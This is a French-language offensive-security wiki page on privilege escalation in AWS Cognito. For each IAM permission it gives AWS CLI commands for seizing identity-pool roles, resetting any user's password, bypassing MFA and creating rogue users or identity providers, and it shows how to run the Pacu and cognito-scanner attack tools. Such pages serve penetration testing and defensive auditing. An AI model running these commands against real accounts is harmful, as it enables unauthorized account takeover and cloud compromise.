# AWS - Cognito Privesc

{{#include ../../../banners/hacktricks-training.md}}

## Cognito

Pour plus d'informations sur Cognito, consultez :

{{#ref}}
../aws-services/aws-cognito-enum/
{{#endref}}

### Récupération des identifiants depuis le Identity Pool

Comme Cognito peut accorder des **identifiants de rôle IAM** à la fois aux **utilisateurs authentifiés** et **non authentifiés**, si vous localisez l'**ID du Identity Pool** d'une application (qui devrait être codé en dur), vous pouvez obtenir de nouveaux identifiants et donc un privesc (dans un compte AWS où vous n'aviez probablement même pas d'identifiant auparavant).

Pour plus d'informations, [**consultez cette page**](../aws-unauthenticated-enum-access/#cognito).

**Impact potentiel :** Privesc direct vers le rôle de service attaché aux utilisateurs non authentifiés (et probablement vers celui attaché aux utilisateurs authentifiés).

### `cognito-identity:SetIdentityPoolRoles`, `iam:PassRole`

Avec cette permission, vous pouvez **accorder n'importe quel rôle cognito** aux utilisateurs authentifiés/non authentifiés de l'application cognito.
```bash
aws cognito-identity set-identity-pool-roles \
--identity-pool-id <identity_pool_id> \
--roles unauthenticated=<role ARN>

# Get credentials
## Get one ID
aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-9074-5367fc9f5367"
## Get creds for that id
aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374"
```
Si l'application cognito **n'a pas d'utilisateurs non authentifiés activés**, vous pourriez également avoir besoin de la permission `cognito-identity:UpdateIdentityPool` pour l'activer.

**Impact potentiel :** Privesc direct vers n'importe quel rôle cognito.

### `cognito-identity:update-identity-pool`

Un attaquant avec cette permission pourrait par exemple définir un Cognito User Pool sous son contrôle ou tout autre fournisseur d'identité où il peut se connecter comme **un moyen d'accéder à ce Cognito Identity Pool**. Ensuite, il lui suffira de **se connecter** sur ce fournisseur d'utilisateur pour **lui permettre d'accéder au rôle authentifié configuré dans l'Identity Pool**.
```bash
# This example is using a Cognito User Pool as identity provider
## but you could use any other identity provider
aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
[--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \
--cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false

# Now you need to login to the User Pool you have configured
## after having the id token of the login continue with the following commands:

# In this step you should have already an ID Token
aws cognito-identity get-id \
--identity-pool-id <id_pool_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

# Get the identity_id from thr previous commnad response
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
```
Il est également possible de **mal utiliser cette autorisation pour permettre l'authentification de base** :
```bash
aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
--allow-unauthenticated-identities
--allow-classic-flow
```
**Impact potentiel** : Compromettre le rôle IAM authentifié configuré à l'intérieur du pool d'identité.

### `cognito-idp:AdminAddUserToGroup`

Cette permission permet de **ajouter un utilisateur Cognito à un groupe Cognito**, donc un attaquant pourrait abuser de cette permission pour ajouter un utilisateur sous son contrôle à d'autres groupes avec des **meilleures** privilèges ou **différents rôles IAM** :
```bash
aws cognito-idp admin-add-user-to-group \
--user-pool-id <value> \
--username <value> \
--group-name <value>
```
**Impact potentiel :** Privesc vers d'autres groupes Cognito et rôles IAM attachés aux groupes de User Pool.

### (`cognito-idp:CreateGroup` | `cognito-idp:UpdateGroup`), `iam:PassRole`

Un attaquant avec ces permissions pourrait **créer/met à jour des groupes** avec **chaque rôle IAM qui peut être utilisé par un fournisseur d'identité Cognito compromis** et faire d'un utilisateur compromis un membre du groupe, accédant à tous ces rôles :
```bash
aws cognito-idp create-group --group-name Hacked --user-pool-id <user-pool-id> --role-arn <role-arn>
```
**Impact potentiel :** Privesc vers d'autres rôles IAM Cognito.

### `cognito-idp:AdminConfirmSignUp`

Cette permission permet de **vérifier une inscription**. Par défaut, tout le monde peut se connecter aux applications Cognito, si cela est laissé, un utilisateur pourrait créer un compte avec n'importe quelles données et le vérifier avec cette permission.
```bash
aws cognito-idp admin-confirm-sign-up \
--user-pool-id <value> \
--username <value>
```
**Impact potentiel :** Privesc indirect au rôle IAM du pool d'identité pour les utilisateurs authentifiés si vous pouvez enregistrer un nouvel utilisateur. Privesc indirect à d'autres fonctionnalités de l'application en pouvant confirmer n'importe quel compte.

### `cognito-idp:AdminCreateUser`

Cette permission permettrait à un attaquant de créer un nouvel utilisateur dans le pool d'utilisateurs. Le nouvel utilisateur est créé comme activé, mais devra changer son mot de passe.
```bash
aws cognito-idp admin-create-user \
--user-pool-id <value> \
--username <value> \
[--user-attributes <value>] ([Name=email,Value=email@gmail.com])
[--validation-data <value>]
[--temporary-password <value>]
```
**Impact potentiel :** Privesc direct au rôle IAM du pool d'identité pour les utilisateurs authentifiés. Privesc indirect à d'autres fonctionnalités de l'application en pouvant créer n'importe quel utilisateur.

### `cognito-idp:AdminEnableUser`

Cette permission peut aider dans un scénario très particulier où un attaquant a trouvé les identifiants d'un utilisateur désactivé et il doit **le réactiver**.
```bash
aws cognito-idp admin-enable-user \
--user-pool-id <value> \
--username <value>
```
**Impact potentiel :** Privesc indirect au rôle IAM du pool d'identité pour les utilisateurs authentifiés et permissions de l'utilisateur si l'attaquant avait des identifiants pour un utilisateur désactivé.

### `cognito-idp:AdminInitiateAuth`, **`cognito-idp:AdminRespondToAuthChallenge`**

Cette permission permet de se connecter avec la [**méthode ADMIN_USER_PASSWORD_AUTH**](../aws-services/aws-cognito-enum/cognito-user-pools.md#admin_no_srp_auth-and-admin_user_password_auth)**.** Pour plus d'informations, suivez le lien.

### `cognito-idp:AdminSetUserPassword`

Cette permission permettrait à un attaquant de **changer le mot de passe de n'importe quel utilisateur**, lui permettant d'usurper l'identité de n'importe quel utilisateur (qui n'a pas MFA activé).
```bash
aws cognito-idp admin-set-user-password \
--user-pool-id <value> \
--username <value> \
--password <value> \
--permanent
```
**Impact potentiel :** Privesc direct vers potentiellement n'importe quel utilisateur, donc accès à tous les groupes dont chaque utilisateur est membre et accès au rôle IAM authentifié de l'Identity Pool.

### `cognito-idp:AdminSetUserSettings` | `cognito-idp:SetUserMFAPreference` | `cognito-idp:SetUserPoolMfaConfig` | `cognito-idp:UpdateUserPool`

**AdminSetUserSettings** : Un attaquant pourrait potentiellement abuser de cette permission pour définir un téléphone mobile sous son contrôle comme **SMS MFA d'un utilisateur**.
```bash
aws cognito-idp admin-set-user-settings \
--user-pool-id <value> \
--username <value> \
--mfa-options <value>
```
**SetUserMFAPreference :** Semblable à la précédente, cette autorisation peut être utilisée pour définir les préférences MFA d'un utilisateur afin de contourner la protection MFA.
```bash
aws cognito-idp admin-set-user-mfa-preference \
[--sms-mfa-settings <value>] \
[--software-token-mfa-settings <value>] \
--username <value> \
--user-pool-id <value>
```
**SetUserPoolMfaConfig** : Semblable à la précédente, cette autorisation peut être utilisée pour définir les préférences MFA d'un pool d'utilisateurs afin de contourner la protection MFA.
```bash
aws cognito-idp set-user-pool-mfa-config \
--user-pool-id <value> \
[--sms-mfa-configuration <value>] \
[--software-token-mfa-configuration <value>] \
[--mfa-configuration <value>]
```
**UpdateUserPool :** Il est également possible de mettre à jour le pool d'utilisateurs pour changer la politique MFA. [Check cli here](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html).

**Impact potentiel :** Privesc indirect à potentiellement n'importe quel utilisateur dont l'attaquant connaît les identifiants, cela pourrait permettre de contourner la protection MFA.

### `cognito-idp:AdminUpdateUserAttributes`

Un attaquant avec cette permission pourrait changer l'email ou le numéro de téléphone ou tout autre attribut d'un utilisateur sous son contrôle pour essayer d'obtenir plus de privilèges dans une application sous-jacente.\
Cela permet de changer un email ou un numéro de téléphone et de le définir comme vérifié.
```bash
aws cognito-idp admin-update-user-attributes \
--user-pool-id <value> \
--username <value> \
--user-attributes <value>
```
**Impact potentiel :** Privesc indirect potentiel dans l'application sous-jacente utilisant Cognito User Pool qui donne des privilèges basés sur les attributs des utilisateurs.

### `cognito-idp:CreateUserPoolClient` | `cognito-idp:UpdateUserPoolClient`

Un attaquant avec cette permission pourrait **créer un nouveau Client User Pool moins restreint** que les clients de pool existants. Par exemple, le nouveau client pourrait permettre n'importe quel type de méthode pour s'authentifier, ne pas avoir de secret, avoir la révocation de jetons désactivée, permettre aux jetons d'être valides pendant une période plus longue...

La même chose peut être faite si au lieu de créer un nouveau client, un **client existant est modifié**.

Dans la [**ligne de commande**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/create-user-pool-client.html) (ou le [**client de mise à jour**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool-client.html)), vous pouvez voir toutes les options, vérifiez-le !
```bash
aws cognito-idp create-user-pool-client \
--user-pool-id <value> \
--client-name <value> \
[...]
```
**Impact potentiel :** Privesc indirect potentiel vers l'utilisateur autorisé du Identity Pool utilisé par le User Pool en créant un nouveau client qui assouplit les mesures de sécurité et permet à un attaquant de se connecter avec un utilisateur qu'il a pu créer.

### `cognito-idp:CreateUserImportJob` | `cognito-idp:StartUserImportJob`

Un attaquant pourrait abuser de cette permission pour créer des utilisateurs en téléchargeant un csv avec de nouveaux utilisateurs.
```bash
# Create a new import job
aws cognito-idp create-user-import-job \
--job-name <value> \
--user-pool-id <value> \
--cloud-watch-logs-role-arn <value>

# Use a new import job
aws cognito-idp start-user-import-job \
--user-pool-id <value> \
--job-id <value>

# Both options before will give you a URL where you can send the CVS file with the users to create
curl -v -T "PATH_TO_CSV_FILE" \
-H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL"
```
(Dans le cas où vous créez un nouveau travail d'importation, vous pourriez également avoir besoin de la permission iam passrole, je ne l'ai pas encore testée).

**Impact potentiel :** Privesc direct au rôle IAM du pool d'identité pour les utilisateurs authentifiés. Privesc indirect à d'autres fonctionnalités de l'application pouvant créer n'importe quel utilisateur.

### `cognito-idp:CreateIdentityProvider` | `cognito-idp:UpdateIdentityProvider`

Un attaquant pourrait créer un nouveau fournisseur d'identité pour ensuite pouvoir **se connecter via ce fournisseur**.
```bash
aws cognito-idp create-identity-provider \
--user-pool-id <value> \
--provider-name <value> \
--provider-type <value> \
--provider-details <value> \
[--attribute-mapping <value>] \
[--idp-identifiers <value>]
```
**Impact potentiel :** Privesc direct au rôle IAM du pool d'identité pour les utilisateurs authentifiés. Privesc indirect à d'autres fonctionnalités de l'application pouvant créer n'importe quel utilisateur.

### cognito-sync:\* Analyse

C'est une permission très courante par défaut dans les rôles des pools d'identité Cognito. Même si un caractère générique dans une permission semble toujours mauvais (surtout venant d'AWS), les **permissions données ne sont pas super utiles du point de vue d'un attaquant**.

Cette permission permet de lire les informations d'utilisation des pools d'identité et des ID d'identité à l'intérieur des pools d'identité (qui ne sont pas des informations sensibles).\
Les ID d'identité peuvent avoir des [**Datasets**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html) qui leur sont assignés, qui contiennent des informations sur les sessions (AWS le définit comme un **jeu sauvegardé**). Il est possible que cela contienne une sorte d'information sensible (mais la probabilité est assez faible). Vous pouvez trouver sur la [**page d'énumération**](../aws-services/aws-cognito-enum/) comment accéder à ces informations.

Un attaquant pourrait également utiliser ces permissions pour **s'inscrire à un flux Cognito qui publie des changements** sur ces datasets ou à une **lambda qui se déclenche sur des événements cognito**. Je n'ai pas vu cela être utilisé, et je ne m'attendrais pas à des informations sensibles ici, mais ce n'est pas impossible.

### Outils automatiques

- [Pacu](https://github.com/RhinoSecurityLabs/pacu), le framework d'exploitation AWS, inclut maintenant les modules "cognito\_\_enum" et "cognito\_\_attack" qui automatisent l'énumération de tous les actifs Cognito dans un compte et signalent les configurations faibles, les attributs utilisateur utilisés pour le contrôle d'accès, etc., et automatisent également la création d'utilisateurs (y compris le support MFA) et l'escalade de privilèges basée sur des attributs personnalisables modifiables, des identifiants de pool d'identité utilisables, des rôles assumables dans les jetons d'identité, etc.

Pour une description des fonctions des modules, voir la partie 2 du [post de blog](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Pour des instructions d'installation, voir la page principale de [Pacu](https://github.com/RhinoSecurityLabs/pacu).

#### Utilisation

Exemple d'utilisation de cognito\_\_attack pour tenter la création d'utilisateur et tous les vecteurs de privesc contre un pool d'identité et un client de pool d'utilisateur donnés :
```bash
Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX
```
Exemple d'utilisation de cognito\_\_enum pour rassembler tous les groupes d'utilisateurs, les clients de groupes d'utilisateurs, les groupes d'identité, les utilisateurs, etc. visibles dans le compte AWS actuel :
```bash
Pacu (new:test) > run cognito__enum
```
- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) est un outil CLI en python qui implémente différentes attaques sur Cognito, y compris une élévation de privilèges.

#### Installation
```bash
$ pip install cognito-scanner
```
#### Utilisation
```bash
$ cognito-scanner --help
```
Pour plus d'informations, consultez [https://github.com/padok-team/cognito-scanner](https://github.com/padok-team/cognito-scanner)

{{#include ../../../banners/hacktricks-training.md}}
